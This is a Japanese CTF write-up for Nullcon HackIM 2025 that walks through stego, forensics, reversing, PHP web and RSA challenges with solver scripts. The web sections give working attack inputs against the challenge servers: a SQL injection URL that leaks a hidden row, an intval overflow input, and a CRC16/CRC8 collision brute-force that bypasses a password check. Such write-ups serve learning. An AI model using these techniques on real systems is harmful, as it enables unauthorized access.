この大会は2025/2/1 17:30(JST)~2025/2/2 17:30(JST)に開催されました。
今回もチームで参戦。結果は601点で1115チーム中137位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome to Nullcon HackIM CTF (sanity check)
問題にフラグが書いてあった。
ENO{WELCOME_TO_NULLCON_HACKIM_CTF}
Profound thought (misc)
$ zsteg l5b245c11.png imagedata .. text: "286-0.\t\n\t" b1,r,lsb,xy .. text: "rzsZA>FCNR^_]\"" b1,r,msb,xy .. file: OpenPGP Public Key b1,g,msb,xy .. file: OpenPGP Secret Key b1,rgb,lsb,xy .. text: "ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy} ENO{57" b2,r,msb,xy .. file: OpenPGP Secret Key b2,bgr,msb,xy .. file: OpenPGP Public Key b3,r,msb,xy .. file: RLE image data, 16888 x 4242, lower left corner: 8321, lower right corner: 65025, clear first, 16 color channels, 224 bits per pixel, 183 color map channels b4,r,lsb,xy .. text: "wYtE$ER\#$DUEFuREEf2E%5" b4,g,lsb,xy .. text: "#\"5DQ232UT2"
ENO{57394n09r4phy_15_w4y_c00l3r_7h4n_p0rn06r4phy}
USBnet (misc)
$ binwalk usbnet.pcapng DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 29406 0x72DE PNG image, 111 x 111, 1-bit colormap, non-interlaced $ foremost usbnet.pcapng Processing: usbnet.pcapng |*|
PNGを抽出でき、画像にはQRコードが書かれていた。

コードリーダで読み取ると、フラグが取得できた。
ENO{USB_ETHERNET_ADAPTER_ARE_COOL_N!C3}
flag checker (rev)
Ghidraでデコンパイルする。
undefined8 FUN_00101318(void) { int iVar1; size_t sVar2; long in_FS_OFFSET; char local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); printf("Enter the flag: "); fgets(local_38,0x23,stdin); sVar2 = strcspn(local_38,"\n"); local_38[sVar2] = '\0'; iVar1 = FUN_0010127a(local_38); if (iVar1 == 0) { puts("Incorrect!"); } else { puts("Correct!"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; } undefined8 FUN_0010127a(char *param_1) { size_t sVar1; undefined8 uVar2; long in_FS_OFFSET; int local_3c; char local_38 [40]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); sVar1 = strlen(param_1); if (sVar1 == 0x22) { FUN_001011e9(param_1,local_38); for (local_3c = 0; local_3c < 0x22; local_3c = local_3c + 1) { if (local_38[local_3c] != (&DAT_00102020)[local_3c]) { uVar2 = 0; goto LAB_00101302; } } uVar2 = 1; } else { uVar2 = 0; } LAB_00101302: if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return uVar2; } void FUN_001011e9(long param_1,long param_2) { int local_c; for (local_c = 0; local_c < 0x22; local_c = local_c + 1) { *(byte *)(param_2 + local_c) = (*(byte *)(param_1 + local_c) ^ 0x5a) + (char)local_c; *(byte *)(param_2 + local_c) = *(char *)(param_2 + local_c) << 3 | *(byte *)(param_2 + local_c) >> 5; } return; } DAT_00102020 XREF[2]: FUN_0010127a:001012dd(*), FUN_0010127a:001012e4(*) 00102020 f8 ?? F8h 00102021 a8 ?? A8h 00102022 b8 ?? B8h 00102023 21 ?? 21h ! 00102024 60 ?? 60h ` 00102025 73 ?? 73h s 00102026 90 ?? 90h 00102027 83 ?? 83h 00102028 80 ?? 80h 00102029 c3 ?? C3h 0010202a 9b ?? 9Bh 0010202b 80 ?? 80h 0010202c ab ?? ABh 0010202d 09 ?? 09h 0010202e 59 ?? 59h Y 0010202f d3 ?? D3h 00102030 21 ?? 21h ! 00102031 d3 ?? D3h 00102032 db ?? DBh 00102033 d8 ?? D8h 00102034 fb ?? FBh 00102035 49 ?? 49h I 00102036 99 ?? 99h 00102037 e0 ?? E0h 00102038 79 ?? 79h y 00102039 3c ?? 3Ch < 0010203a 4c ?? 4Ch L 0010203b 49 ?? 49h I 0010203c 2c ?? 2Ch , 0010203d 29 ?? 29h ) 0010203e cc ?? CCh 0010203f d4 ?? D4h 00102040 dc ?? DCh s_Enter_the_flag:_00102042 XREF[0,2]: FUN_00101318:00101333(*), FUN_00101318:0010133a(*) 00102041 42 45 6e ds "BEnter the flag: " 74 65 72 20 74 68
入力文字列の長さが34バイトであることをチェックしている。また、入力文字列の各文字を0x5aとXORしてインデックスをプラスした後、左シフト3、右シフト5したものについて、DAT_00102020以降のデータと一致しているかをチェックしている。このことから逆算して、正しい入力文字列を割り出す。
#!/usr/bin/env python3 enc = [0xf8, 0xa8, 0xb8, 0x21, 0x60, 0x73, 0x90, 0x83, 0x80, 0xc3, 0x9b, 0x80, 0xab, 0x09, 0x59, 0xd3, 0x21, 0xd3, 0xdb, 0xd8, 0xfb, 0x49, 0x99, 0xe0, 0x79, 0x3c, 0x4c, 0x49, 0x2c, 0x29, 0xcc, 0xd4, 0xdc, 0x42] flag = '' for i, c in enumerate(enc): code = ((((c >> 3) | (c << 5)) & 0xff) - i) ^ 0x5a flag += chr(code) print(flag)
ENO{R3V3R53_3NG1N33R1NG_M45T3R!!!}
scrambled (rev)
暗号化処理の概要は以下の通り。
・flag: 不明 ・key: 不明 ・scrambled_result, _ = encode_flag(flag, key) ・xor_result: flagの各文字のASCIIコードをkeyとXORした配列 ・chunk_size = 4 ・chunks: xor_resultを4つごとに配列の配列にしたもの ・seed: 0以上10以下のランダム整数 ・seedを乱数のシード設定 ・chunksをシャッフル ・scrambled_result: chunksの各chunk、そのchunkの各itemの配列 ・scrambled_result, chunksを返却 ・scrambled_resultの各値iを16進数文字列にし結合したものを出力
seed全パターンで元に戻していき、フラグが"E"から始まることを前提にkeyを割り出し、復号する。
#!/usr/bin/env python3 import random result = '1e78197567121966196e757e1f69781e1e1f7e736d6d1f75196e75191b646e196f6465510b0b0b57' scrambled_result = [int(result[i:i+2], 16) for i in range(0, len(result), 2)] chunks = [scrambled_result[i:i+4] for i in range(0, len(scrambled_result), 4)] l = len(chunks) for seed in range(0, 11): smpl = list(range(l)) random.seed(seed) random.shuffle(smpl) xor_result = [] for i in range(l): index = smpl.index(i) xor_result += chunks[index] key = xor_result[0] ^ ord('E') flag = '' for c in xor_result: flag += chr(c ^ key) if flag.startswith('ENO{'): print(flag) break
ENO{5CR4M83L3D_3GG5_4R3_1ND33D_T45TY!!!}
Numberizer (web)
http://52.59.124.14:5004/?sourceを見ると、ソースコードが見える。
<?php ini_set("error_reporting", 0); if(isset($_GET['source'])) { highlight_file(__FILE__); } include "flag.php"; $MAX_NUMS = 5; if(isset($_POST['numbers']) && is_array($_POST['numbers'])) { $numbers = array(); $sum = 0; for($i = 0; $i < $MAX_NUMS; $i++) { if(!isset($_POST['numbers'][$i]) || strlen($_POST['numbers'][$i])>4 || !is_numeric($_POST['numbers'][$i])) { continue; } $the_number = intval($_POST['numbers'][$i]); if($the_number < 0) { continue; } $numbers[] = $the_number; } $sum = intval(array_sum($numbers)); if($sum < 0) { echo "You win a flag: $FLAG"; } else { echo "You win nothing with number $sum ! :-("; } } ?> <html> <head> <title>Numberizer</title> </head> <body> <h1>Numberizer</h1> <form action="/" method="post"> <label for="numbers">Give me at most 10 numbers to sum!</label><br> <?php for($i = 0; $i < $MAX_NUMS; $i++) { echo '<input type="text" name="numbers[]"><br>'; } ?> <button type="submit">Submit</button> </form> <p>To view the source code, <a href="/?source">click here.</a> </body> </html>
入力できる文字列の長さは4文字までで、全て足すと負になれば、フラグが表示される。eを使って大きい数値にして、整数オーバーフローで負になるようにする。5つの欄に1e20を入力し、Submitすると、フラグが表示された。
ENO{INTVAL_IS_NOT_ALW4S_P0S1TiV3!}
Paginator (web)
http://52.59.124.14:5012/?sourceを見ると、ソースコードが見える。
<?php ini_set("error_reporting", 0); ini_set("display_errors",0); if(isset($_GET['source'])) { highlight_file(__FILE__); } include "flag.php"; $db = new SQLite3('/tmp/db.db'); try { $db->exec("CREATE TABLE pages (id INTEGER PRIMARY KEY, title TEXT UNIQUE, content TEXT)"); $db->exec("INSERT INTO pages (title, content) VALUES ('Flag', '" . base64_encode($FLAG) . "')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 1', 'This is not a flag, but just a boring page.')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 2', 'This is not a flag, but just a boring page.')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 3', 'This is not a flag, but just a boring page.')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 4', 'This is not a flag, but just a boring page.')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 5', 'This is not a flag, but just a boring page.')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 6', 'This is not a flag, but just a boring page.')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 7', 'This is not a flag, but just a boring page.')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 8', 'This is not a flag, but just a boring page.')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 9', 'This is not a flag, but just a boring page.')"); $db->exec("INSERT INTO pages (title, content) VALUES ('Page 10', 'This is not a flag, but just a boring page.')"); } catch(Exception $e) { //var_dump($e); } if(isset($_GET['p']) && str_contains($_GET['p'], ",")) { [$min, $max] = explode(",",$_GET['p']); if(intval($min) <= 1 ) { die("This post is not accessible..."); } try { $q = "SELECT * FROM pages WHERE id >= $min AND id <= $max"; $result = $db->query($q); while ($row = $result->fetchArray(SQLITE3_ASSOC)) { echo $row['title'] . " (ID=". $row['id'] . ") has content: \"" . $row['content'] . "\"<br>"; } }catch(Exception $e) { echo "Try harder!"; } } else { echo "Try harder!"; } ?> <html> <head> <title>Paginator</title> </head> <body> <h1>Paginator</h1> <a href="/?p=2,10">Show me pages 2-10</a> <p>To view the source code, <a href="/?source">click here.</a> </body> </html> Try harder! Paginator Show me pages 2-10 To view the source code, click here.
以下のURLにアクセスすることによって、SQLインジェクションでIDが1のデータも表示させる。
http://52.59.124.14:5012/?p=2,2%20or%20ID=1
この結果、以下が表示された。
Page 1 (ID=2) has content: "This is not a flag, but just a boring page." Flag (ID=1) has content: "RU5Pe1NRTDFfVzF0aF8wdVRfQzBtbTRfVzBya3NfU29tZUhvdyF9"
$ echo RU5Pe1NRTDFfVzF0aF8wdVRfQzBtbTRfVzBya3NfU29tZUhvdyF9 | base64 -d ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}
ENO{SQL1_W1th_0uT_C0mm4_W0rks_SomeHow!}
Crahp (web)
http://52.59.124.14:5006/?sourceを見ると、ソースコードが見える。
<?php ini_set("error_reporting", 0); ini_set("display_errors",0); if(isset($_GET['source'])) { highlight_file(__FILE__); } // https://www.php.net/manual/en/function.crc32.php#28012 function crc16($string) { $crc = 0xFFFF; for ($x = 0; $x < strlen ($string); $x++) { $crc = $crc ^ ord($string[$x]); for ($y = 0; $y < 8; $y++) { if (($crc & 0x0001) == 0x0001) { $crc = (($crc >> 1) ^ 0xA001); } else { $crc = $crc >> 1; } } } return $crc; } // https://stackoverflow.com/questions/507041/crc8-check-in-php/73305496#73305496 function crc8($input) { $crc8Table = [ 0x00, 0x07, 0x0E, 0x09, 0x1C, 0x1B, 0x12, 0x15, 0x38, 0x3F, 0x36, 0x31, 0x24, 0x23, 0x2A, 0x2D, 0x70, 0x77, 0x7E, 0x79, 0x6C, 0x6B, 0x62, 0x65, 0x48, 0x4F, 0x46, 0x41, 0x54, 0x53, 0x5A, 0x5D, 0xE0, 0xE7, 0xEE, 0xE9, 0xFC, 0xFB, 0xF2, 0xF5, 0xD8, 0xDF, 0xD6, 0xD1, 0xC4, 0xC3, 0xCA, 0xCD, 0x90, 0x97, 0x9E, 0x99, 0x8C, 0x8B, 0x82, 0x85, 0xA8, 0xAF, 0xA6, 0xA1, 0xB4, 0xB3, 0xBA, 0xBD, 0xC7, 0xC0, 0xC9, 0xCE, 0xDB, 0xDC, 0xD5, 0xD2, 0xFF, 0xF8, 0xF1, 0xF6, 0xE3, 0xE4, 0xED, 0xEA, 0xB7, 0xB0, 0xB9, 0xBE, 0xAB, 0xAC, 0xA5, 0xA2, 0x8F, 0x88, 0x81, 0x86, 0x93, 0x94, 0x9D, 0x9A, 0x27, 0x20, 0x29, 0x2E, 0x3B, 0x3C, 0x35, 0x32, 0x1F, 0x18, 0x11, 0x16, 0x03, 0x04, 0x0D, 0x0A, 0x57, 0x50, 0x59, 0x5E, 0x4B, 0x4C, 0x45, 0x42, 0x6F, 0x68, 0x61, 0x66, 0x73, 0x74, 0x7D, 0x7A, 0x89, 0x8E, 0x87, 0x80, 0x95, 0x92, 0x9B, 0x9C, 0xB1, 0xB6, 0xBF, 0xB8, 0xAD, 0xAA, 0xA3, 0xA4, 0xF9, 0xFE, 0xF7, 0xF0, 0xE5, 0xE2, 0xEB, 0xEC, 0xC1, 0xC6, 0xCF, 0xC8, 0xDD, 0xDA, 0xD3, 0xD4, 0x69, 0x6E, 0x67, 0x60, 0x75, 0x72, 0x7B, 0x7C, 0x51, 0x56, 0x5F, 0x58, 0x4D, 0x4A, 0x43, 0x44, 0x19, 0x1E, 0x17, 0x10, 0x05, 0x02, 0x0B, 0x0C, 0x21, 0x26, 0x2F, 0x28, 0x3D, 0x3A, 0x33, 0x34, 0x4E, 0x49, 0x40, 0x47, 0x52, 0x55, 0x5C, 0x5B, 0x76, 0x71, 0x78, 0x7F, 0x6A, 0x6D, 0x64, 0x63, 0x3E, 0x39, 0x30, 0x37, 0x22, 0x25, 0x2C, 0x2B, 0x06, 0x01, 0x08, 0x0F, 0x1A, 0x1D, 0x14, 0x13, 0xAE, 0xA9, 0xA0, 0xA7, 0xB2, 0xB5, 0xBC, 0xBB, 0x96, 0x91, 0x98, 0x9F, 0x8A, 0x8D, 0x84, 0x83, 0xDE, 0xD9, 0xD0, 0xD7, 0xC2, 0xC5, 0xCC, 0xCB, 0xE6, 0xE1, 0xE8, 0xEF, 0xFA, 0xFD, 0xF4, 0xF3 ]; $byteArray = unpack('C*', $input); $len = count($byteArray); $crc = 0; for ($i = 1; $i <= $len; $i++) { $crc = $crc8Table[($crc ^ $byteArray[$i]) & 0xff]; } return $crc & 0xff; } $MYPASSWORD = "AdM1nP@assW0rd!"; include "flag.php"; if(isset($_POST['password']) && strlen($MYPASSWORD) == strlen($_POST['password'])) { $pwhash1 = crc16($MYPASSWORD); $pwhash2 = crc8($MYPASSWORD); $password = $_POST['password']; $pwhash3 = crc16($password); $pwhash4 = crc8($password); if($MYPASSWORD == $password) { die("oops. Try harder!"); } if($pwhash1 != $pwhash3) { die("Oops. Nope. Try harder!"); } if($pwhash2 != $pwhash4) { die("OoOps. Not quite. Try harder!"); } $access = true; if($access) { echo "You win a flag: $FLAG"; } else { echo "Denied! :-("; } } else { echo "Try harder!"; } ?> <html> <head> <title>Craphp</title> </head> <body> <h1>Craphp</h1> <form action="/" method="post"> <label for="password">Give me your password!</label><br> <input type="text" name="password"><br> <button type="submit">Submit</button> </form> <p>To view the source code, <a href="/?source">click here.</a> </body> </html> Try harder! Craphp Give me your password! Submit To view the source code, click here.
パスワード AdM1nP@assW0rd! 以外で、crc16とcrc8が同じになる長さが15の文字列を指定したら、フラグが表示される。ブルートフォースでこの条件を満たすものを探す。
#!/usr/bin/env python3 from fastcrc import crc8, crc16 MYPASSWORD = 'AdM1nP@assW0rd!' pwhash1 = crc16.modbus(MYPASSWORD.encode()) pwhash2 = crc8.smbus(MYPASSWORD.encode()) for i in range(100000000000000, 1000000000000000): password = str(i) pwhash3 = crc16.modbus(password.encode()) pwhash4 = crc8.smbus(password.encode()) if pwhash1 == pwhash3 and pwhash2 == pwhash4: print(password) break
実行結果は以下の通り。
100000010130312
これを入力し、Submitしたらフラグが表示された。
ENO{Cr4hP_CRC_Collison_1N_P@ssw0rds!}
next-level (cry)
$ nc 52.59.124.14 5028 779393179953408360283921776467389063540381973116844996143181786415649061981439880634265583530617439728965912321347568557334799149928093794896260028641186694167670960006416758814267178270348996878845065267688230273017609662332689636123075349696089124857394851089291578322331951457296501510938996282018057642756589073897235801436973217505838973766053825373712636581840684173954524392090865738767882555054348995736737152486856198985912037004297821420312844957433237 37701128638831197067150579201084785784877978471109714515477494002029370974810761336854622733313101379267641749371792395393766001510947322549108390575591866958403778775862913179829433737873860341692714812409441469469547610225935406294640957771712022236578262275578769814979649635804075921269137169843889087547625865450741692195921436589378387348791459060006217812482485083782635737388447907665434328728446907566914974254245446064110597224752752569407022924825028
nはp, q, rの積がpが決まるとq, rも決まるので、pを一定の値から, q, rを算出し、nに近づけていけば、nを素因数分解できる。あとは通常通り復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * import gmpy2 import sympy n = 779393179953408360283921776467389063540381973116844996143181786415649061981439880634265583530617439728965912321347568557334799149928093794896260028641186694167670960006416758814267178270348996878845065267688230273017609662332689636123075349696089124857394851089291578322331951457296501510938996282018057642756589073897235801436973217505838973766053825373712636581840684173954524392090865738767882555054348995736737152486856198985912037004297821420312844957433237 c = 37701128638831197067150579201084785784877978471109714515477494002029370974810761336854622733313101379267641749371792395393766001510947322549108390575591866958403778775862913179829433737873860341692714812409441469469547610225935406294640957771712022236578262275578769814979649635804075921269137169843889087547625865450741692195921436589378387348791459060006217812482485083782635737388447907665434328728446907566914974254245446064110597224752752569407022924825028 p = int(gmpy2.iroot(n, 3)[0]) - 1000 while True: p = sympy.nextprime(p) q = sympy.nextprime(p) r = sympy.nextprime(q) if p * q * r == n: break e = 0x10001 phi = (p - 1) * (q - 1) * (r - 1) d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
ENO{1_l0ve_7h3_pr1me_numb3r_the0r3m}
many caesars (cry)
暗号化処理の概要は以下の通り。
・text: text.txtの内容を英小文字にしたもの
・flag: フラグから"ENO{"と"}"を除き、"_"を"+"に置換したもの
・chars: 英字、数字、"+/="を連結したもの
・regex: charsを5文字以上70文字以下という正規表現
・flagはregexの正規表現に一致することをチェック
・i = 0
・count = 0
・iがtextの長さより小さい間、以下繰り返し
・text[i]が英小文字以外場合
・text[i](改行なし)を出力
・i += 1
・text[i]が英小文字の場合
・j = i
・text[j]が英小文字の間、j += 1
・caesar(text[i:j], chars.index(flag[count % len(flag)]))(改行なし)を出力
・count += 1
・i = jスペース区切りで考え、可能性のある単語をすべて洗い出す。
#!/usr/bin/env python3 import string chars = string.ascii_letters + string.digits + '+/=' l = len(chars) def rev_caesar(msg, shift): return ''.join(chars[(chars.index(c) - shift) % len(chars)] if c in chars else c for c in msg) with open('output.txt', 'r') as f: enc = f.read().rstrip().split(' ') for i, c in enumerate(enc): for j in range(l): text = rev_caesar(c, j) if text.islower(): print('%02d: %s (shift=%d) -> %s' % (i, text, j, chars[j]))
実行結果から関係する部分のみ取り出す。
00: hacker (shift=19) -> t
01: ethics (shift=7) -> h
02: is (shift=55) -> 3
03: a (shift=62) -> +
04: set (shift=3) -> d
05: of (shift=53) -> 1
06: principles (shift=5) -> f
07: that (shift=5) -> f
08: guide (shift=4) -> e
09: the (shift=17) -> r
10: behavior (shift=55) -> 3
11: of (shift=13) -> n
12: individuals (shift=2) -> c
13: who (shift=4) -> e
14: explore (shift=57) -> 5
15: and (shift=62) -> +
16: manipulate (shift=12) -> m
17: computer (shift=56) -> 4
18: systems, (shift=10) -> k
19: often (shift=4) -> e
20: emphasizing (shift=62) -> +
21: curiosity, (shift=56) -> 4
22: creativity, (shift=11) -> l
23: and (shift=11) -> l
24: the (shift=62) -> +
25: pursuit (shift=19) -> t
26: of (shift=7) -> h
27: knowledge. (shift=55) -> 3
28: rooted (shift=62) -> +
29: in (shift=3) -> d
30: values (shift=8) -> i
31: such (shift=5) -> f
32: as (shift=5) -> f
33: openness, (shift=55) -> 3
34: free (shift=17) -> r
35: access (shift=4) -> e
36: to (shift=13) -> n
37: information, (shift=2) -> c
38: and (shift=55) -> 3
39: the (shift=19) -> t
40: belief (shift=7) -> h
41: in (shift=55) -> 3
42: using (shift=62) -> +
43: skills (shift=3) -> d
44: to (shift=53) -> 1
45: improve (shift=5) -> f
46: systems (shift=5) -> f
47: rather (shift=4) -> e
48: than (shift=17) -> r
49: harm (shift=55) -> 3
:繰り返しになってきたので、文字を並べ、"+"を"_"に置換し、フラグの形式にすればよい。
ENO{th3_d1ffer3nce5_m4ke_4ll_th3_diff3renc3}